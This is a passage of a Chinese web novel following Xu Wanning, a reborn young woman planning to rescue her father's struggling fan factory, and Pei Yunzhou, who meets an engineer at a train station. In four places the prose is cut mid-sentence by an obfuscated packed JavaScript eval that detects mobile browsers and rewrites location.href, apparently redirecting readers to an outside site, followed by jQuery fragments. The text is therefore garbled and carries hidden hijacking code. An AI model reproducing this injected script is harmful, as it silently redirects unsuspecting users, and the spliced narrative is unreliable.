裴云洲眼底闪过一丝笑意,正色道,“可以给她安排一个职务,比如营销活动临时负责人,活动结束后,职务自动解除。”
魏局长想了想,还真可行,“还是你们年轻人脑子活。”
不过在此之前,他得见见对方,实际考察一下再做决定。
想通之后,魏局长释然一笑,“云洲,你帮我解决了一个大难题啊。”
裴云洲笑笑,并不居功,“魏叔,是您慧眼如炬,本身就看好这份计划,愿意给华荣厂一个机会,不然您不会犹豫不决。”
“若不是您有远见有魄力,换作旁人,未必敢扛下这份压力。”
魏局长笑着点他,“你小子少给我戴高帽,到底能不能行还不一定呢。”
一个还没出校门、毫无社会实践经验的小姑娘,会是他想找的合适人选吗?
-
夜色沉沉,魏局长夫妻站在门口,看着裴云洲大步下楼,转瞬不见。
他关上门,回头看见门口放着两瓶白酒和两个大西瓜,抬手一指,“这是云洲刚拿来的?”
姜珍丽心里咯噔一下,“坏了,我想等他走的时候让他带回去的,我刚才给忘了,他应该没走远,我去叫他回来。”
“等等!”
魏局长随手拿起其中一瓶白酒,看清商标,“算了,留着吧。”
姜珍丽脚步一顿,惊讶回头,“老魏,这可不像你。你不是从来不收礼的么?”
魏局长放下酒,“晚辈给长辈送点东西,不是很正常?我收下怎么了?再说,云洲有分寸,这酒是他们厂产的。西瓜正当季,价格也不贵。”
送礼送得如此妥帖,怎么就不是自家孩子呢?
-
月光盈盈,裴云洲离开家属院,来到街上。
不远处,一点暗红在黑夜里忽明忽暗。
他大步走至车前,只见谭斌一脸幽怨地盯着他。
裴云洲表情疑惑,“怎么了?”
谭斌随手扔掉烟头,抬脚撵灭火星,“你还问我怎么了?不是说上去一会儿就下来吗?你去了整整一个半小时,蚊子差点把我吃了。”
裴云洲被谭斌一嗓子惊住了,他左右看看,拍拍对方胳膊安抚,“你小点声,先上车。”
一句话,谭斌气焰消了一半。
车上,谭斌系上安全带,嘟囔,“你怎么去那么久?”
不到八点上去的,现在都快九点半了。
裴云洲随口道,“魏叔有事向我取经,我总不能推辞,就多留了一会儿。再说,我本来要自己来,你非要跟来,来了之后,让你和我一起上去,你又不肯。”
谭斌振振有词,“从小到大,我最烦跟机关里的人打交道,一肚子弯弯绕绕,我实在应付不来。”
裴云洲想到好友在部队大院长大,养成这般直来直去的性子,倒也不足为奇。
他启动车子,向北驶去。
路上,谭斌忍不住问,“哎,你打听清楚了吗?许婉宁到底跟许厂长什么关系?”
裴云洲神色如常,“忘了。”
谭斌立马拿眼瞪他。
在对方开口之前,裴云洲慢悠悠的说,“我要真问了,魏叔要是怀疑我是不是看上她了,给我外公打电话,安排我相亲怎么办?我去还是不去?”
“去啊!干嘛不去!”谭斌激动了,满眼恨铁不成钢!
他掰着手指头夸赞,“婉宁不仅人长得漂亮,身材高挑,气场足,人还特别机灵。”
“我都不敢想,你们俩站一块儿多般配,以后有了孩子,指不定多聪明呢!”
这反应不对啊。
裴云洲握紧方向盘,状似无意的问,“你不是喜欢她么?我再如何,也不至于跟好兄弟抢对象吧?”
“谁说我喜欢她了!”谭斌毫不犹豫地反驳。
然后他想到什么,瞪大眼睛看着他,“云洲,你该不会是吃醋了吧?你是不是早知道她身份了,快说!”
裴云洲嘴角染上一抹笑意,“真想知道?”
谭斌忙不迭地点头,“特别真,你别卖关子了,赶紧说吧。”
裴云洲轻声说,“她是许厂长的女儿。”也是一名非常优秀的在校大学生。
“我就知道!”谭斌双手交握,喃喃自语,“怪不得今天下午我看许厂长有些眼熟呢。”
原来是许婉宁亲爸啊!女儿像爸,古人诚不欺我!
裴云洲不想听他继续唠叨,索性转移话题,“对了,明天你跟我去火车站接人。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470284|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
接人?
谭斌反应过来,“咱们托人请的工程师到了?”
裴云洲颔首,“预计明天上午八点半到站,你早点起。”
“我回去就定闹钟!”
-
晚上九点半,许晚柠洗漱过后,准备睡了。
这时敲门声响起,门外传来熟悉的声音,“柠柠,睡了吗?”
“还没。”
许晚柠连忙应了一声,过去开门,“爸,怎么了?”
许国盛手里拿着一个小螺丝刀,站在门口,“吃晚饭的时候,你不是说今天早上闹钟没响?我过来拆开看看。”
许晚柠赶紧让开位置,让父亲进来。
许国盛边走边说,“这小螺丝刀,我在工具箱里翻了半天都没找到,最后还是你妈在抽屉里找到的。”
许晚柠没吭声,她打开书桌上的台灯,拉开椅子,“爸,您坐。”
“还是我闺女贴心。”
许国盛坐在椅子上,拿起闹钟翻转过来,直接用螺丝刀拧开后盖上的螺丝。
他拆开之后,很快发现问题,“原来是接触片歪了。”
许国盛很快修理好,重新装回螺丝恢复原样,放到桌上。
他抬头看向女儿,“今晚你再定个闹钟,看看明天早上响不响。如果还是不响,爸去供销社给你买个新的。”
许晚柠心里一片柔软,“好,谢谢爸。”
“跟爸客气啥!”
许国盛忍不住摸摸女儿的头,随即想到什么,他斟酌再三,开口询问,“你这两天是不是生你妈气了?”
许晚柠神色一怔,一时不知道该怎么回答。
一看女儿表情,许国盛就知道他猜对了,他心里叹了口气,语重心长的说,“你妈她有口无心,就算说你两句,也是为你好,你别怪她。”
有口无心,为她好?
这一瞬间,她想到上辈子母亲对她说过的话,做过的事,好像都是以‘为她好’的名义。
可她真的好么?她哪次不是被她伤得体无完肤?
许晚柠闭了闭眼,突然问道,“爸,如果我妈以‘为我好’的名义,逼着我做我不喜欢的事,我也不能生气吗?”
许国盛一愣,闺女这反应有点不对劲啊,“她到底哪惹你了?你告诉爸,回头爸说她!”
“我十岁那年,我明确表示我不喜欢红色,她非要给我买红色衣服,说过年穿红色喜庆。”
有这回事吗?一时之间,许国盛实在想不起来。
“等上了高中,我物理、化学学不进去,相比之下,我更喜欢政治和历史。我想学文科,我妈非说学好数理化,走遍天下都不怕,让我学理。”
这个他知道,“后来你想报市场营销这个新专业,我们也没拦着你啊。”
“是没拦着,爸,你知道吗?市场营销专业,文理兼招,如果我学文,我不止考那点分数。”
“是是是,我闺女上初中的时候,政治和历史就很强!”
说完之后,许国盛糊涂了,“这不都是以前的事吗?怎么突然翻起旧账来了?”
许晚柠有口难言,她总不能把上辈子的事说给父亲听吧?
“她掌控欲这么强,难保她以后还以对我好的名义,试图操控我的人生。我一想到这,心里就难受。”
这话半真半假,但许晚柠确实有这方面的担心,虽然她多活了一世,多了二十年的阅历,完全可以不听她的,但有唯一绕不过去的一点。
赵秋红是她的母亲。
不论如何,她不能做的太过分。所以她需要一个盟友,在她反抗的时候,坚定的站在她身边,护着她。
果然,许国盛看到女儿红着眼睛诉说不平,心就软了几分。
他柔声说,“不会,有爸在呢,你别怕啊。再说,都没影的事,你别瞎想。”
许晚柠可怜巴巴地看着他,“如果我妈让我去做我不喜欢做的事,比如安排我相亲,想让我早点结婚生子之类的。”
“爸,你会一直站在我这边吗?”
“我会。”许国盛语气坚定的回答。
19. 火车站接人!
“别想太多,睡吧。”
许国盛关掉卧室灯,轻轻带上门,抬头看到主卧门口有个人影一闪而过。
他叹了口气,去卫生间洗手,回到卧室。
妻子背对着他躺在床上,许国盛想说点什么,却不知从何说起,只好试探性叫了她一声,“秋红?”
“干嘛?这都几点了,赶紧关灯睡觉!”赵秋红的嗓音有点沙哑,语气不耐。
许国盛想了想,关掉床头灯,躺下休息。
屋内瞬间陷入黑暗。
床的另一边,赵秋红翻来覆去,毫无睡意。
许国盛睁开眼,偏头问道,“睡不着?”
没有得到回应,就在他歇了谈心的念头,准备继续睡时,赵秋红开口了。
“没良心的臭丫头,她居然这么看我,觉得我控制欲强?”
她无声流泪,“她十岁那年,改革开放还没几年,红色布料做的衣服多抢手啊,我特意让熟人帮我留的货。”
“大过年的,红色衣服穿在身上多喜庆、多好看,家属院谁见了不夸?她居然不喜欢?我小时候做梦都想要一件,可是家里穷,根本买不起。”
“就连跟你结婚那天,我穿的那件红色外套,都是借的我大嫂的。”
许国盛张张嘴,想开口安慰下妻子,却发现说什么都是徒劳,只好闭嘴不言,做一个合格的听众。
赵秋红吸了吸鼻子,“还有她高二那年,文理分科,我问了多少人,大家都说理科好,比文科好就业,就连你也赞同女儿学理吧?怎么现在全怪我一人身上了?”
许国盛一听这话,忍不住反驳,“我什么时候坚持让女儿学理了?我当时明明说的是,柠柠想学什么就学什么。”
赵秋红当没听见,继续说,“她居然还担心我以后会安排她相亲,催她结婚生子?我吃饱了撑的,干这种出力不讨好的事,她爱结不结!”
许国盛听完心头一跳,妻子这是真伤心了,他赶紧安慰几句,“好了,你就别说气话了,她还有一年毕业,身边同学没准有打算毕业就结婚的,她担心也在情理之中。”
“她不想这么早结婚生孩子,咱们就顺其自然,少操点心不就行了。”
他轻轻拍了拍妻子胳膊,“好了,别想了,早点睡吧啊。”
赵秋红越想越觉得委屈,躺在床上翻来覆去,半宿都没合眼。
第二天,她吃过早饭,肿着一双微红的眼睛,在女儿卧室门口站了片刻,随后出门上班。
许晚柠一觉睡到早上九点,闹钟准时响起。
她关掉闹钟起床,先去卫生间洗漱,随后准备回卧室换衣服出门。
回屋之前,她鬼使神差地去了一趟厨房。
她看着温在锅里的饭菜,愣了好久。
昨晚,许晚柠从一开始就知道母亲站在门外偷听,她对父亲说的那些话,何尝不是说给她听的?
当然,她心里很清楚,母亲还没有对她做过那些过分的事,可那些伤痛真真切切困扰了她十几年,至今都不能释怀,又叫她如何原谅?
她原以为冷着些,就这么不咸不淡的处着,等她正式工作,搬出去就好了。
很显然,她母亲不这么想。
她用指尖碰了碰温热的馒头,心中怅然,是时候做个决定了。
这般犹犹豫豫,可不像她。
-
“车怎么还没到?”
保城火车站出站口,谭斌打了个哈欠,整个人无精打采的。
裴云洲抬手看了眼腕表,八点四十,“估计晚点了。”
谭斌揉了把脸,“我早饭都没吃。”
裴云洲瞥他一眼,“谁叫你赖床不起的。”
他从七点开始叫他起床,谭斌七点半才起来,等他洗漱完换好衣服,出门时都快八点了。
幸好火车站离得近,他们到时火车还没到站,不然他们该失礼了。
等人时无聊,谭斌轻轻撞了一下好友胳膊,“哎,你找的这个工程师靠不靠谱啊?”
大老远从哈市请过来,又搭人情又托关系的,可别到最后修不了。
裴云洲简单介绍对方履历,“梁工扎根一线三十余年,别说岛国生产的饮料、罐装设备,就连德系、东欧的全自动生产线都上手过。如果他修不了,估计国内没人会修。”
“这么厉害?”
裴云洲颔首,“很厉害。”
谭斌还想问什么,忽然听到火车站广播到站提醒。
“各位旅客、接亲友的同志请注意:由哈市开来的列车,现已到达保城站…”
裴云洲神色微凝,目光紧紧盯着出站口。
谭斌见状也跟着紧张起来,出站口陆陆续续有人出来,他连忙问,“云洲,他长什么样?穿什么衣服,有什么明显特征?”
没有照片,没准人走过去了,他们都不知道。
裴云洲想起外公话里的遗憾,“他腿脚不大好。说是十几年前,他参与抢修,不小心摔断了腿,自那以后右腿落下了毛病。”
啊?怪不得这位梁工技术这么好,这些年却没出过省呢?原来是身体无法适应长途劳顿。
就这,裴云洲外公还能托关系请对方过来,厉害啊。
“来了!”
梁工和他徒弟一出站,裴云洲便认了出来。
一老一少的组合,皆穿着长袖长裤,年轻同志左手拎包,右手扶着长辈胳膊。年长的那位左腿站直,右腿微微曲着,实在太好认了。
他拍了一下好友胳膊,率先迈开长腿赶了过去。
“等等我!”谭斌连忙大步追上。
出站口,小徒弟扶着师父胳膊,一说话满口东北大碴子味,“师父,您腿没啥事吧?”
梁工抬手轻轻捶了捶有些浮肿的右腿,“能有啥事,利索着呢!”
小徒弟一听,心下稍安,忍不住东张西望,“接咱们的人搁哪呢?”
梁工轻吐一句,“不知道,电话里只说到了有人来接。”
就在这时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470285|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,裴云洲赶了过来,“您是梁满仓梁工吧?”
梁工腰背微微挺直,“对,我是梁满仓,你是?”
裴云洲笑着和对方握手,“我叫裴云洲,您叫我小裴,云洲都行。这次劳您大老远跑一趟,万分感谢。”
梁工摆手,“客气啥,现在交通这么方便,你们还给我们安排的卧铺,不碍事。设备在哪?什么时候去看?”
裴云洲眼中笑意加深,“梁工,您跟这位同志一路舟车劳顿,咱们先回招待所休整一下,中午给您二位接风。下午咱们再去厂里看设备。”
安排得挺好,梁工点头,“车在哪?”
“这边车不让开进来,我车停在西边广场,走过去大概要一两分钟。”
裴云洲注意到梁工似是身体不适,询问,“您腿没事吧?”
梁工轻轻拍了拍,“没事,咱们走吧。”
路上,谭斌抓紧时间自我介绍,很快跟梁工的小徒弟田亮聊得热火朝天。
“谭哥,你们保城可真热!”车上,田亮撸起袖子,抬手扇风。
谭斌在副驾驶上回过头,看着田亮微红的小脸,笑着说,“我们这边确实热,跟哈市肯定比不了,你们带短袖了吗?没有等会到了招待所,我给你和梁工找两件工服。”
“带了带了。”
裴云洲不动声色地调低空调温度,“梁工,您和田师傅中午吃过饭好好睡一觉,下午五六点咱们再去看设备?”
梁工颔首,“可以。”
一旁的田亮听到裴云洲称呼他田师傅,尴尬的挠头,“裴哥,您叫我名字或者小田就成,我还没出师呢。”
“好!”
简单寒暄过后,车里一时沉默下来。
梁工心中一动,开口询问,“小裴,姚教授身体还好吧?”
听对方提及外公身体,裴云洲笑容深了几分,“劳您记挂,我外公身体康健,一切都好。”
“那就好!”原来小裴就是姚教授的外孙,听说现在要去的啤酒厂是被他买下的,真是年轻有为啊。
“您认识我外公?”裴云洲诧异,他没听外公提及过。
梁工摆手,“有过一面之缘,只不过姚教授应该不记得我了。”
谭斌刷地扭过头,眼里满是好奇,“梁工,您跟姚外公怎么认识的?”
梁工眼中满是追忆,“十七年前,哈市电机厂的设备出现故障,姚教授曾受厂里邀请,前去做技术指导。”
“姚教授不仅帮我们攻克技术难题,恢复生产,还教会我们不少技术和实用经验。我当时就在电机厂工作,跟着姚教授学了不少东西,受益匪浅啊。”
谭斌恍然,怪不得梁工腿脚不便,还愿意千里迢迢跑过来帮忙,原来是有香火情啊!
转眼间,京源啤酒厂招待所到了。
哦不,现在不叫啤酒厂,已经改名为京源饮品有限公司。
车停在招待所门口。
“梁工,我们到了。”
“好!”
20. 你怎么又来了!
“柠柠,你咋了,怎么魂不守舍的?”
许二嫂站在水泥台前,吭哧吭哧地洗床单,还不忘招呼一旁的小姑子。
“二嫂,我没事。”许晚柠回了一句,看着旁边撅着屁股玩土的小侄子,心里一片柔软。
许二嫂大力揉搓几下,直起身来,用拳头轻捶两下腰,“没事就好,你要有啥烦心事,可以跟我说说,我保证不跟你二哥提。”
许晚柠眼底都是笑意,“真没事,只是忽然间,想通了一些事儿。”
上辈子赵秋红为什么不同意她离婚,离婚之后又想让她相亲再找?父亲曾说,是这座城市困住了她,时代变了,母亲一直停留在原地没有变。
她思想老旧,固执的认为,婆婆挑剔,做儿媳的忍忍就好了,因为她也是这么过来的。
后来她离婚,也不过二十五岁,还很年轻。赵秋红认为她一个女孩子就该找个男人依靠,而不是独自去大城市闯荡。
不安分,心气高,娇生惯养,跑那么远的地方,一年到头见不到人,不孝顺。
这些都是母亲控诉她时,说过的话,哪怕心里告诉自己,不要在意,可她一刻都不曾忘记。
话说回来,到底什么改变了母亲,让她变得偏执、歇斯底里?
许晚柠暂时想到一点。
在风扇厂倒闭之后,赵秋红所在的棉纺厂也面临破产清算,半年后,母亲直接下岗,专心带孙子。
她没有工作,整天带着阳阳和邻居们东家长西家短,思维固化,若有人从中挑唆,她很容易情绪上头,言行偏激,不顾后果。
综上,她想要杜绝这一切,避免母亲重走上辈子的老路,只要让她一直工作就好了。
在明年母亲失业之前,她必须给她安排好后路。另外,她还得寻摸几位思想新潮的优秀女性,给母亲洗脑,咳,不对,是进行思想引导,逐渐改变其认知。
如今,时代变了,她怎么能不跟着变,她必须变!
至于现在,她目前做不到跟母亲亲密无间,那就不做。不过她也没必要因为上辈子的事,一直迁怒这辈子的母亲,这对她来说不公平。
日常相处可以恢复如初,就当她接受母亲示好。
困扰她两三日的难题有解,萦绕在她眉间的愁绪散了个干净。
许晚柠神情一松,注意到许二嫂正在柠床单,连忙起身,“二嫂,我来帮你。”
她拧开水龙头洗了洗手,攥住床单另一边,使劲拧。
许二嫂瞧小姑子一脸认真的模样,噗嗤一声笑出声,“谢谢你啊,柠柠。”
要是许兆康坐她旁边,除非她叫,否则他绝不会主动过来帮忙。
人比人气死人啊。
许晚柠帮二嫂晾上床单,随后走到一旁蹲下来跟阳阳说话。
“阳阳,叫姑姑。”
阳阳抬头,盯着她看了一会儿,小手一指,“这是姑姑!”
“对了,我是姑姑,妈妈在干什么?”
阳阳指指许二嫂,“洗衣服!”
“对了,阳阳真棒!”许晚柠在小侄子脑门上亲了一口。
许二嫂见柠柠这么喜欢她儿子,眼里都是笑意,开玩笑似的说,“这么喜欢小孩,早点结婚自己生一个。”
结婚生孩子?
许晚柠摇头,“我不急,我还年轻,目前没这个打算。”
三十岁之前,她没打算结婚,搞事业不香吗?
上辈子,她在深市拼搏十几年,懂得一个道理。
任何人或事,都有可能背叛她,但钱不会。
只是她还没想好从哪开始,毕竟她还没毕业,手里也没资金,想干点什么都捉襟见肘。
算了,想那么多干嘛,先帮父亲度过难关要紧。
中午,许晚柠在二嫂家吃的饭,饭后她看时间还早,陪二嫂和阳阳躺在床上小睡了一会儿。
下午两点多,许晚柠醒来,见二嫂和小侄子睡得正香,小心翼翼的起身。
她刚下床,许二嫂就醒了。
许晚柠连忙用手比划,让二嫂继续睡,她则轻手轻脚地带上门,下楼。
-
“咚咚咚!”敲门声响起。
“请进!”
许晚柠推开门,一脸笑意地站在门口。
“爸!”
许国盛现在看到女儿就头疼,“你怎么又来了?我昨天晚上不是跟你说了,今天局里要是没通知,我明天去局里看看。”
许晚柠关上门,一派坦然,“爸,您想哪去了?我可不是来催您的,我顺路过来看看您。”
还顺路过来?顺哪的路?
许国盛一脸不信,“说吧,你今天来,想干什么?”
许晚柠坐到父亲对面,说得那叫个理直气壮,“我当然是帮您排忧解难来了!”
在父亲开口责备之前,她连忙抬手止住,快速说道,“爸!我真不是因为营销计划来的,我找您有事!”
这才对嘛,许国盛给了女儿一记警告的眼神,“有啥事赶紧说,爸爸还要工作。”
许晚柠见父亲一脸嫌弃,险些翻了白眼,她这都是为了谁啊!
不过好在她知道自己干嘛来了,很快调整好情绪,一本正经的说,“爸,您不会以为一个营销计划就能解了厂里的困境吧。”
她从包里掏出笔记本,翻开写满字的那一页递给他,“我大概估算了一下,如果局里同意营销计划,库房里一万五千多台风扇全部清空。按照老款85折,新款95折的优惠力度,货款能收回来一百八十万左右。”
“对了,我还没算上增值税,以及一部分以旧换新的额外折扣。要都算在里面,估计还剩一百六十多万。”
“清库存收回来的货款,主要是为了给工人们发工资。从今年2月到6月,一共5个月,厂里都是发的半个月工资,所欠工资合计40万左右,再加上7月一整月的工资,加班费、奖金、社保等等,6个月加起来最少要60万。”
“还剩下一百万能干什么?是能填了银行的窟窿,还是能付清材料商的欠款?”
“只要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470286|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
百货大楼和供销社这两家经销商不给咱们结货款,咱们厂早晚还会陷入困境,到时候,还会有一屋子的库存,等咱们卖了发工资吗?”
不会!所以他们必须从现在开始行动。
许国盛盯着笔记本上的数字,沉默不语。
良久,他缓缓开口,“你想怎么做?”
“我想做的多了,关键局里给不给批,厂里能不能落实下去?”
许晚柠实在烦死国企冗杂繁琐的制度了,干什么都要打申请、走流程,万一局里批不下来,到头来一切白费。
许国盛双手交握,“你说说看。”
许晚柠伸出一根手指,“营销计划只是第一步,虽然还没有迈出去,但我们不能只盯着它不放。万一局里不通过呢,方案可能还要做修改,改到局里觉得稳妥为止。哪怕最后以经销商为主,我们厂打配合,这个活动我们也一定要坚持做。”
“另外,从现在开始,我们需要从多方面入手。第一,改进、创新技术,荷花牌的风扇为什么卖的好,其中有百货大楼和供销社在力推的因素,还有不可忽视的一点。”
“荷花牌风扇比咱们厂最新款的电扇技术更先进,它的噪音更小,外观设计更美观。所以我们也要加快技术革新,外观也要请专业人员来设计。”
许国盛颔首,“你想的角度不错,其实厂里技术科一直在改进技术。”
许晚柠伸出手指,晃了晃,“不够,我问过刘叔,技术科有技术方面的革新,会有现金奖励。这些年最高的一次是一千块钱,一般也就两三百,四五百都算给的多的。”
“算下来也就半个月,最多一个月的工资,大家能有什么动力?可如果我们提高奖金最大额度,比如重大技术革新,奖一万,您猜能不能把大家的积极性调动起来。”
一万!
许国盛惊住了,“你可真敢想!”
许晚柠坦然,“那有什么不敢的?自从改革开放以来,只要敢干肯干的个体户,有多少人通过努力成了万元户?”
“以前咱们厂工人一个月几十、几百块钱工资,就足够大家羡慕的。现在呢,咱们嘴上说着瞧不起个体户,可瞧着人家日子越过越红火,哪个心里不是酸溜溜的。”
“有一万块钱在前面吊着,咱们技术科的人才还不跟打了鸡血似的干?”
许国盛眉头紧锁,“你说得轻巧,想申请这么一大笔奖金,局里要是不同意,咱们根本没法落实。”
“而且大家都知道电扇这个东西没什么技术难点,再如何革新换代,也不可能一次性奖励技术员一万块钱。”
许晚柠挑眉,“谁说的?简单的技术例如降低噪音,加大风量,让电扇更省电这些,局里确实不可能同意,可如果是研发电机呢?”
在父亲震惊的目光中,她神色郑重,“爸,咱们厂的电机一直向外采购,占采购材料中的大头,如果咱们厂实现电机自产,是不是能省下一大笔钱?”
“难道咱们不应该成立一个电机小组,研发属于华荣厂自己的电机吗?”
21. 和局长对答
研发电机?
许国盛被女儿提出的新思路惊住了,半晌才回过神。
他思索片刻,好像也不是不行?
许晚柠见父亲有所动容,眼含笑意,“怎么样?这主意不错吧?”
许国盛表情严肃,“这事我得好好想想,你先别漏了风声。”
许晚柠点头,在事没成之前,她肯定不会出去乱说。
只是她个人比较擅长营销策划、市场布局,对于技术方面实在爱莫能助,具体如何推进,到底能不能落实下去,就要看父亲有没有魄力了。
许国盛从沉思中抽离,见女儿一脸闲适,忍不住问道,“你刚才不是说改进技术是第一点,第二点呢?有没有不用打申请,现在就能拍板做的?”
闺女之前写的营销计划,局里还没给出意见。现在又提出想要研发电机的思路,这也要跟局里申请报备,没有一件他能直接拍板落实的。
许晚柠瞪大眼睛,“爸,以您的能力,只要您能拍板的,您早做了,还用得着我提醒吗?”
说的也是,许国盛苦笑,他这算不算疾病乱投医?
许晚柠见父亲神色黯淡,忍不住开口,“至于您说的第二点,我这边确实有点想法,不过需要等营销计划落地之后,不然现在说了也没用。”
巧妇难为无米之炊,没有资金支持,一切只是空谈。
许国盛佯怒,“还跟我卖起关子来了,你先跟爸透个底,爸给你参谋参谋。”
许晚柠看向手表,“哎呀,这都三点了,爸我这边还有点事,就先走了啊,您忙。”
她一边说一边起身,准备开溜。
许国盛眼里都是笑意,“这臭丫头!你给我回来!”
许晚柠当没听见,快步走到门口,忽然想起什么,又转身回来,朝父亲尴尬一笑,同时快速伸手拿回自己的笔记本。
许国盛简直哭笑不得,刚想说点什么,电话突然响起,在接之前,他跟女儿打手势,催她离开。
许晚柠秒懂,快步往外走,刚握上门把手,她听到父亲说的话,脚下猛然一滞,倏地回过头。
许国盛接通电话,“罗秘书,局长要见?好好好,麻烦你告诉魏局长,我们一定准时到。”
挂断电话后,许国盛神情复杂地看向女儿,在对方期待的目光中,他轻叹一口气,“柠柠,局长要见你。”
“见我?”许晚柠诧异,见她干啥?
许国盛抬手看了眼时间,“你先跟我走,有什么事,路上说。”
“好!”
-
下午四点,轻工局门口。
许国盛刚走进大厅,突然回头问落后一步的女儿,“柠柠,你怕吗?”
许晚柠这次真没忍住,她翻了个白眼,“爸,您现在问,是不是晚了点?”
她人都到局里了,难道还能打道回府啊?
许国盛一脸尴尬,他这不是刚想起来吗?
“走吧。”
父女俩很快来到局长办公室门口。
门开着,罗秘书见许国盛过来,站起来打招呼,“许厂长,您好。”
他看了一眼许晚柠,“这位就是小许同志吧?”
许国盛连忙介绍,“对,她就是我的女儿许晚柠。”
许晚柠落落大方的打招呼,“罗秘书,你好。”
罗秘书含笑点头,转身过去敲门,“局长,许厂长和小许同志来了。”
“请他们进来吧。”
罗秘书抬手示意他们直接进去。
父女俩朝罗秘书点点头,迈步进入办公室。
魏局长抬头看见两人,合上文件,站起来寒暄,“来得挺快。”
许国盛笑着上前,跟局长握手,“我接到罗秘书电话,就赶紧过来了。”
魏局长没说什么,不过看表情就知道很满意。
“来,都过来坐吧。”
魏局长绕过办公桌,在沙发主位坐下。
许国盛带着女儿在对面相继落座。
罗秘书进来给客人送上茶水,悄无声息的离开。
魏局长抬手,“老许,你都来多少次了,怎么还这么拘谨,喝茶。”
“是是是。”许国盛端起茶杯,抿了一口。
许晚柠见状,也拿起茶杯,尝了尝味道。
嗯,上好的毛尖,味道不错。
魏局长瞧见许晚柠满足的小表情,不禁问道,“怎么样,小许同志,这茶味道还可以吧?”
许晚柠连忙放下茶杯,正襟危坐,“味道很好,谢谢局长款待。”
魏局长眼里都是笑意,抬手指着许晚柠,朝许国盛说,“瞧瞧,你女儿简直跟你一个模子里出来的。”
看上去老实巴交的,一点也不像能写出那份计划书的人。
许国盛此时比单独见局长还要紧张,他擦擦额头上的虚汗,“让您见笑了,柠柠平时在家闹得欢,今天倒是老实了。”
魏局长挑眉,“哦?原来是你在这,拘着她了?这样,你先出去跟小罗坐会,我跟小许同志单独说几句。”
这?许国盛看向女儿,她能行吗?
许晚柠点点头,“爸,您先出去吧,我可以。”
许国盛心里更担忧了,可局长的话他又不敢不听,走之前他拍了拍女儿的肩。
许晚柠抬头,果然收到父亲一记警告的眼神。
哎,不就是担心她说错话吗?魏局长是父亲的顶头上司,为了父亲的前途,她肯定会收着点的。
她在职场混了这么多年,可不是白混的。
不过,父亲在的时候还好,他一走,许晚柠瞬间有点紧张了。
魏局长见状,笑容温和,“小许同志,听你爸说,你还在省城上大学,今年多大了?”
许晚柠模样乖巧,“我今年20岁。”
这么年轻?“上学早?”
许晚柠点头,“我爸妈都有工作,家人没人看我,上学早了点。”
魏局长感慨,“17岁能考上省城大学,你很优秀。”同是十七岁,她家薇薇连高中都没考上,还是他托关系送进了师范中专。
许晚柠腼腆一笑。
魏局长见她拘谨,索性说起正事,“你昨天交上来的计划书,局里反应很大。”
见小姑娘眼睛刷地亮了,跟刚才的状态完全不一样,魏局长心里有些好笑,索性直言,“局里大部分领导认为,营销计划太过理想化,风险高,不建议做这个活动,你怎么看?”
许晚柠想了想,“您想听实话还是假话?”
一句话把魏局长逗乐了,“先听假话。”
他倒要听听看,她准备拿假话怎么糊弄他。
许晚柠一本正经的回答,“我认为领导们考虑得很对,任何人在面对从来没做过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470287|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的事情之前,都会有顾虑,这是人之常情。”
说到这,她顿了顿,小心翼翼地抬眼看去。
魏局长面上看不出半分喜怒,“你继续说。”
许晚柠轻咳一声,缓缓说道,“对于局里的批评意见,我虚心接受,既然局里认为风险高,我们可以适当降低风险,简而言之,计划我可以改,改到局里满意为止。”
“这是假话?”
许晚柠心情忐忑的点头,这番话在她看来,确实挺违心的,计划在交给父亲之前,她已经修改了好几遍,跟厂里情况和市场都很适配。如果风险真降到让局里满意的程度,估计这计划也就废了。
高风险意味着高回报,风险都没了,还想要回报,做梦去吧!
魏局长点点头,“直接说你的真实想法。”
许晚柠点点头,开口之前,她犹豫了一下,小声问道,“局长,如果我说错了话,您不会生气吧?”
魏局长似笑非笑的看着她,“怎么,怕我迁怒你爸?”
许晚柠尴尬了,她是承认还是不承认呢。怎么就直接问出来了,就不能心照不宣吗?
